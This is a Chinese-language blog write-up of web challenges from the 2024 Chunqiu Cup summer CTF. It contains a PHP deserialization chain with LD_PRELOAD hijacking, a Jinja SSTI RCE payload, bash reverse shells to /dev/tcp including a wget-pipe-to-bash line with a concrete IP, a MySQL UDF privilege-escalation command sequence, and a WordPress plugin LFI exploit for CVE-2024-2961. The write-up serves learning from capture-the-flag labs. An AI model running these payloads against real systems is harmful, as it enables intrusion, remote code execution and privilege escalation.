2024春秋杯网络安全联赛夏季赛-WEB-CTF部分wp

上午答辩完小学期结束了,刚好有题打,下午上线打打玩玩喽~

Hijack

<?php
highlight_file(__FILE__);
error_reporting(E_ALL);
ini_set('display_errors', 1);
function filter($a)
{
    $pattern = array('\'', '"','%','\(','\)',';','bash');
    $pattern = '/' . implode('|', $pattern) . '/i';
    if(preg_match($pattern,$a)){
        die("No injecting!!!");
    }
    return $a;
}
class ENV{
    public $key; // = 'LD_PRELOAD'
    public $value; // = '/tmp/xxxxxxx.so'
    public $math;
    public function __toString()
    {
        $key=filter($this->key);
        $value=filter($this->value);
        putenv("$key=$value"); //环境变量劫持,设置LD_PRELOAD=/tmp/xxxxxxx.so
        system("cat hints.txt");
    }
    public function __wakeup() //入口
    {
        if (isset($this->math->flag)) //不绕过就直接先触发DIFF::__isset
        {
            echo getenv("LD_PRELOAD");
            echo "YesYes";
        } else {
            echo "YesYesYes";
        }
    }
}
class DIFF{
    public $callback; //new FUN()
    public $back;
    private $flag;

    public function __isset($arg1)
    {
        system("cat /flag");
        $this->callback->p; //第一次触发FUN::__get再触发FILE::__call上传so文件获取路径,第二次触发FILE::__get触发__toString()打putenv环境变量劫持
        echo "You are stupid, what exactly is your identity?";

    }

}
class FILE{
    public $filename; //hack.so
    public $enviroment;
    public function __get($arg1){  //第二次
        if("hacker"==$this->enviroment){ //字符串处理,触发ENV:__toString
            echo "Hacker is bad guy!!!";
        }
    }
    public function __call($function_name,$value) //调用不可访问的方法触发,文件上传点,上传so文件
    {
        if (preg_match('/\.[^.]*$/', $this->filename, $matches)) {
            $uploadDir = "/tmp/";
            $destination = $uploadDir . md5(time()) . $matches[0];
            if (!is_dir($uploadDir)) {
                mkdir($uploadDir, 0755, true);
            }
            file_put_contents($this->filename, base64_decode($value[0])); //value[0]为base64编码的so文件
            if (rename($this->filename, $destination)) {
                echo "文件成功移动到${destination}";
            } else {
                echo '文件移动失败。';
            }
        } else {
            echo "非法文件名。";
        }
    }
}
class FUN{
    public $fun;
    public $value;
    public function __get($name) //从不可访问的属性中读取数据触发,
    {
        $this->fun->getflag($this->value); //触发FILE::__call()
    }
}
$c = $_POST['Harder'];
unserialize($c);

?> 

一眼环境变量劫持,wakeup是入口点,链子也很简单就懒得说了,第一次反序列化获取路径,第二次反序列化打putenv:

linux生成一下so:

gcc -fPIC -shared -o hack.so hack.c -nostartfiles
import base64

with open("hack.so", "rb") as f:
    encoded_data = base64.b64encode(f.read()).decode()
    print(encoded_data)

with open("1.txt", "w") as f:
    f.write(encoded_data)

unser1.php:

<?php
class ENV{
    public $key;
    public $value;
    public $math;
}
class DIFF{
    public $callback;
    public $back;
    private $flag;

}
class FILE{
    public $filename;
    public $enviroment;
}
class FUN{
    public $fun;
    public $value;
}
$e = new ENV();
$d = new DIFF();
$f1 = new FILE();
$f2 = new FUN();

$e->math = $d;
$d->callback = $f2;
$f2->fun = $f1;
// 读取hack.so的base64编码
$content = file_get_contents("F:\\Study\\CTF\\春秋杯夏季赛\\1.txt");
// 将文件内容作为数组的一个元素赋值给$f2->value
$f2->value = array($content);
$f1->filename = "hack.so";

echo urlencode(serialize($e));

//$c = $_POST['Harder'];
//unserialize($c);

?> 

unser2.php:

<?php
class ENV{
    public $key;
    public $value;
    public $math;
}
class DIFF{
    public $callback;
    public $back;
    private $flag;

}
class FILE{
    public $filename;
    public $enviroment;
}
class FUN{
    public $fun;
    public $value;
}
$e1 = new ENV();
$e2 = new ENV();
$d = new DIFF();
$f1 = new FILE();
$f2 = new FUN();

$e1->math = $d;
$d->callback = $f1;
$f1->enviroment = $e2;
$e2->key = "LD_PRELOAD";
$e2->value = "/tmp/c7ed72aaf0298f27c1cbb431eed7c3da.so";

echo urlencode(serialize($e1));

//$c = $_POST['Harder'];
//unserialize($c);

?> 

brother

以为是渗透提权,结果udf一把梭了,没活硬整,逆天......

所以后面出了个revenge,估计是非预期。

开局一个无waf的SSTI,fenjing一把梭,bash反弹shell。(他把curl啥的也删了emmm)

进去仨文件,除了那个mysql告诉你账密的,吊用没有。

api.py:

import mysql.connector, time, threading, socket
from flask import Flask, request

app = Flask(__name__)


def mysql_keepalive():
    config = {
        'user': 'ctf',
        'password': '123456',
        'host': '127.0.0.1',
        'database': 'mysql',
        'port': 6666,

    }
    try:
        db_connection = mysql.connector.connect(**config)
        cursor = db_connection.cursor()
    except mysql.connector.Error as err:
        print(err)
        exit(0)
    while True:
        try:
            cursor.execute("SELECT VERSION();")
            cursor.fetchone()
        except mysql.connector.Error as err:
            print(f"连接中断: {err}")
        time.sleep(10)


def handle_client_connection(client_socket):
    try:
        while True:
            client_socket.send('{"code":0, "path": ""}'.encode('utf-8'))
            time.sleep(10)
    except Exception as e:
        print(f"Error handling client: {e}")


def update_api():
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    host = '0.0.0.0'
    port = 7777
    server_socket.bind((host, port))
    server_socket.listen(1)
    print(f"update_api Listening on port {port}...")
    while True:
        client_socket, addr = server_socket.accept()
        handle_client_connection(client_socket)


@app.route('/evil', methods=['POST'])
def evil():
    code = request.json['code']
    key = request.json['key']
    if key == open("./evil.key").read():
        exec(code)
        return "ok"
    else:
        return "key error"


if __name__ == '__main__':
    threading.Thread(target=mysql_keepalive).start()
    threading.Thread(target=update_api).start()
    app.run("127.0.0.1", 5000)

extract.py:

import json
import socket
import tarfile

def extract_specific_file(tar_path, file_name, extract_path):
    with tarfile.open(tar_path, "r:gz") as tar:
        file_info = tar.getmember(file_name)
        tar.extract(file_info, path=extract_path)
        print("ok")

s = socket.socket()
s.connect(("127.0.0.1", 7777))
while True:
    data = s.recv(1024)
    try:
        js = json.loads(data)
        if js['code'] == 1:
            extract_specific_file(js['path'], 'new.bin', "/updatedir")
    except:
        s.send(b'Error')

www.py:

from flask import Flask, request, redirect, render_template_string

app = Flask(__name__)

@app.route('/')
def inedx():
    name = request.args.get("name","")
    if name == "":
        return redirect("/?name=hello")
    return render_template_string(name)

app.run("0.0.0.0", port=8080)

evil.key也只是一个幌子,看了看权限我以为要提权到two,读evil.key再进一步提权,结果mysql直接打完了:

{'name': "{{cycler.next.__globals__.__builtins__.__import__('os').popen(<RCE>).read()}}"}
find / -user root -perm -4000 -print 2>/dev/null

su可用  盲猜一手su提权  密码在数据库  但是mysql里啥也没有

bash -c 'bash -i >& /dev/tcp/vps/port 0>&1'

反弹shell
mysql -uctf -p123456 -P 6666 -e "SHOW DATABASES;"
mysql -uctf -p123456 -P 6666 -D mysql -e "SHOW TABLES;"
mysql -uctf -p123456 -P 6666 -D mysql -e "SELECT * FROM user;"
mysql -uctf -p123456 -P 6666 -D mysql -e "SELECT Host,User,Password FROM user;"

mysql -uctf -p123456 -P 6666 -D mysql -e "show variables like '%secure_file_priv%'";

# UDF提权
mysql -uctf -p123456 -P 6666 -D mysql -e "select @@version_compile_os, @@version_compile_machine;"
mysql -uctf -p123456 -P 6666 -D mysql -e "show variables like '%plugin%';"
mysql -uctf -p123456 -P 6666 -D mysql -e "create table foo(line blob);"
mysql -uctf -p123456 -P 6666 -D mysql -e "insert into foo values(load_file('/tmp/lib_mysqludf_sys_64.so'));"
mysql -uctf -p123456 -P 6666 -D mysql -e "select * from foo into dumpfile '/usr/lib/mysql/plugin/udf.so';"
mysql -uctf -p123456 -P 6666 -D mysql -e "CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';"
mysql -uctf -p123456 -P 6666 -D mysql -e "select * from mysql.func;"
mysql -uctf -p123456 -P 6666 -D mysql -e "select sys_eval('whoami');"

//drop function sys_eval;

最后看了眼evil.key是啥:

应该是个什么玩意md5,没啥意思,这题给队里赵哥都整无语了hhhhh

赵哥还教了个新的反弹shell的玩意:

wget *.sh | bash -c 'bash -i >& /dev/tcp/8.140.251.152/1234 0>&1'

w0rdpress(复现)

没看。

后面把CVE-2024-2961搞明白了,详见:从春秋杯夏季赛wordpress引发的CVE-2024-2961思考浅析 - Eddie_Murphy - 博客园 (cnblogs.com)

打打复现。

先是subscriber的弱密码 `subscriber/123456` 拿cookie,wordpress的洞一般是插件的问题,用wpscan可以扫出来subscriber。

进后台后,用 RVM 打文件包含,payload 打CVE-2024-2961 LFI to RCE:

/wp-admin/admin-ajax.php?action=rvm_import_regions&nonce=5&rvm_mbe_post_id=1&rvm_upload_regions_file_path=/etc/passwd

官方wp是改改Remote类:

def __init__(self, url: str) -> None:
        self.url = url
        self.session = Session()
        self.session.headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
            "Cookie":"wordpress_=subscriber%7C1720336162%7CpgTrhwuO3kuzcmwR58cvhthcb45qUx7UkYRiYDYPlW1%7Cb847e13631b08d8e6cb3528b7b3ffe5cfc26e3dd7be5a4dc9dcdc0151c0be873; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1720026818,1720091541,1720161557; HMACCOUNT=06D642FA6D3CD649; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1720161560; PHPSESSID=6fd15deed30423894715ced0e98b545f; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_=subscriber%7C1720336162%7CpgTrhwuO3kuzcmwR58cvhthcb45qUx7UkYRiYDYPlW1%7Ce0c1af65c1951fece8672cc3b08c4d583a056923594d950558734c06b49e22b8; wp-settings-time-5=1720163412"}
    def send(self, path: str) -> Response:
        """Sends given `path` to the HTTP server. Returns the response.
        """
        print(path)
        req = self.session.post(self.url + "/wp-admin/admin-ajax.php?action=rvm_import_regions&nonce=5&rvm_mbe_post_id=1&rvm_upload_regions_file_path="+quote(path))
        return req
        #return self.session.get(self.url + "/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php/?url=" + quote(path))
        
    def download(self, path: str) -> bytes:
        """Returns the contents of a remote file.
        """
        path = f"php://filter/convert.base64-encode/resource={path}"
        response = self.send(path)
        print(response)
        data = response.re.search(b" name=\"(.*)\[\]", flags=re.S).group(1)
        try:
            return base64.decode(data)
        except Exception as e:
            print(e)
            return data

反弹shell有点问题,直接写文件就可以了。

AWDP因为在高铁上,所以也没看。

posted @ 2024-07-05 17:50  Eddie_Murphy  阅读(315)  评论(0编辑  收藏  举报